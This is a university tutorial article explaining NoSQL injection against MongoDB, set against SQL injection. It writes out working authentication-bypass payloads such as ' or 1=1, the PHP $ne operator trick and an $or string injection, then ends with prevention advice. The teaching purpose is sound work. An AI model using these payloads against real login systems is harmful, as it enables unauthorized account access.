MSc. Ibrahim Mete Cicek
Department of Computer Engineering, Faculty of Engineering,
Karabuk University
78050 Karabuk, Turkey
metecicek@karabuk.edu.tr
Lecturer: Prof. Dr. Ismail Rakip Karas

NoSQL Injection

In this article, I will show you how to use the NoSQL injection method. Even if you haven't done any work on web applications, you've definitely heard of NoSQL among the popular words related to Cloud computing lately. As it is known, SQL works as table-based, while NoSQL works as a document, graph-based, large column storages, or key-value pairs. This method is used to attack NoSQL database management systems such as Neo4j, MongoDB, Berkeley DB, CouchDB.

Before starting to explain, if we need to give some background information, what we call injection attacks is one of the most used active hacking methods today, and OWASP (Open Web Application Security Project) ranks first in the top 10 and is also in the list of 25 most dangerous software errors of CWE (Common Weakness Enumeration). NoSQL injection is caused by a lack of input validation like almost all types of web application vulnerabilities. In other words, it is caused by the fact that parameters that can be entered by the outside user are not filtered. As you know, SQL injection also occurs for this reason. NoSQL injection is one of its subtitles. An SQL injection allows the attacker to execute commands from the database. Unlike relational databases, NoSQL databases do not use a common query language. The NoSQL query syntax is product specific and queries are written in the programming language of the application, for example, Neo4j uses Cypher as the query language, it is faster and more specific than SQL and we have the advantage of using this language in Java, C, or Python. That is in a successful NoSQL injection attempt, the attacker can execute commands not only in the database but also in the application itself, which can be much more dangerous than SQL injection. NoSQL injection is an easy-to-implement attack method, except for some complicated situations.

NoSQL Injection Attack Scenarios

MongoDB is one of the most used NoSQL database applications nowadays, uses a syntax similar to JSON (JavaScript Object Notation) when storing data. We will examine this method on MongoDB.
We can start by first looking at the SQL views NoSQL injection comparison below.

SQL:

```
SELECT * FROM accounts WHERE username = '$username' AND password = '$password'
```

```
' or 1=1-- -
```

NoSQL:

```
db.accounts.find({username: username, password: password});
```

```
' || 1==1// or ' || 1==1%00
```

Now, if we use this method to bypass authentication via MongoDB (Authentication Bypass).
A typical insert statement in a MongoDB looks like this:

```
db.books.insert({ title: 'Harry Potter', author: 'J. K. Rowling' })
```

This adds a new document to the book collection, such as title and author field, and this typical query looks like this:

```
db.books.find({ title: 'Harry Potter' })
```

PHP strings are generally encoded JSON. So for example the following sequence:

```
array('title' => 'Harry Potter', 'author' => 'J. K. Rowling');
```

These queries can also include regular expressions, conditions, and limits to query specific fields. The above statement will be encoded in PHP with JSON as follows:

```
{"title": " Harry Potter", "author": "J. K. Rowling" }
```

The login system to which a username and password are sent in a PHP application, the browser users use with HTTP POST will look like a typical POST payload as below.

```
username=rowling&password=harrypotter
```

```
https://example.org/login?user=rowling&password=harrypotter
```

Querying MongoDB and running PHP code in the backend looks like this to the user:

```
db->logins->find(array("username"=>$_POST["username"], "password"=>$_POST["password"]));
```

Logically, the developer is likely to make a query about this:

```
db.logins.find({ username: 'rowling', password: 'harrypotter' })
```

However, PHP has a fixed system of strings that allow an attacker to send the following malicious payload:

```
username[$ne]=1&password[$ne]=1
```

PHP converts this entry as an array to the following expression:

```
array("username" => array("$ne" => 1), "password" => array("$ne" => 1));
```

This expression encoded in the Mongo query would look like this:

```
db.logins.find({ username: { $ne: 1 }, password: { $ne: 1 } })
```

So $ne (Compares and returns two values: true when the values are not equivalent, false when the values are equivalent) are not equal in MongoDB. By the way, you can choose different operators such as $eq (equals) or $gt (greater than) and apply this process accordingly.

```
{ $ne: [ <expression1>, <expression2> ] }
```

Because it is conditional, querying all entries in this login link makes the username not equal to 1 and password not equal to 1, this means the query will return all login connections in the entries, in SQL terminology this is equal to the following statement:

```
SELECT * FROM logins WHERE username <> 1 AND password <> 1
```

In this vulnerability, the attacker can log into the application without a username and password. If we examine the login form, which sends username and password parameters with HTTP POST and makes querying string content, for the backend part.

```
string query = "{ username: '" + post_username + "', password: '" + post_password + "' }"
```

Now using this input you see:

```
(rowling + harrypotter)
```

It will create the following query:

```
{ username: 'rowling', password: 'harrypotter' }
```

In this login query made for attack purposes, the user account is entered without a password. As an example of this attack:

```
username=rowling’, $or: [ {}, { ‘a’:’a&password=’ } ], $comment:’successful NoSQL injection’
```

This entry will be added to the following query:

```
{ username: ‘rowling’, $or: [ {}, { ‘a’: ‘a’, password: ‘’ } ], $comment: ‘successful NoSQL injection’ }
```

As long as the username is correct, this query will be successful. In SQL terminology, this query looks like this:

```
SELECT * FROM logins WHERE username = ‘rowling’ AND (TRUE OR (‘a’=’a’ AND password = ‘’))
```

As a result, the password becomes an unnecessary part of the query:

```
{ username: ‘rowling’, $or: [ {}, { ‘a’: ‘a’, password: ‘’ } ], $comment: ‘successful NoSQL injection’ }
```

```
https://example.org/login?user=rowling&password[$ne]=
```

How to Prevent NoSQL Injection Attacks

Now, we have always been investigating offensive so far, let's consider this issue in a defensive way, so if we think about how we can prevent these SQL and NoSQL injection attacks, we must first use prepared statements instead of dynamic queries for SQL injection, this is PHP Data Objects (PDO) extension, you can also optionally filter by typing a function that ignores words and characters used in SQL injection attacks. We can also save user values by encrypting them, but I don't find this method to secure because many encrypted values such as MD5 hashes can be cracked very easily nowadays. Apart from this, login verification and restriction of user authorization can be made. On the other hand, if we look at what to do to prevent NoSQL injection attacks, not using the $where, MapReduce, and $group operators with user input and setting the javascriptEnabled value to false in your mongod.conf file. Apart from these, I recommend always to verify the data provided by the user (Input Validation). Finally, these attacks can be prevented by performing regular penetration tests and updates. At the same time, there are very good projects in this regard, including automatic NoSQL injection detection using supervised learning, which I also work on it.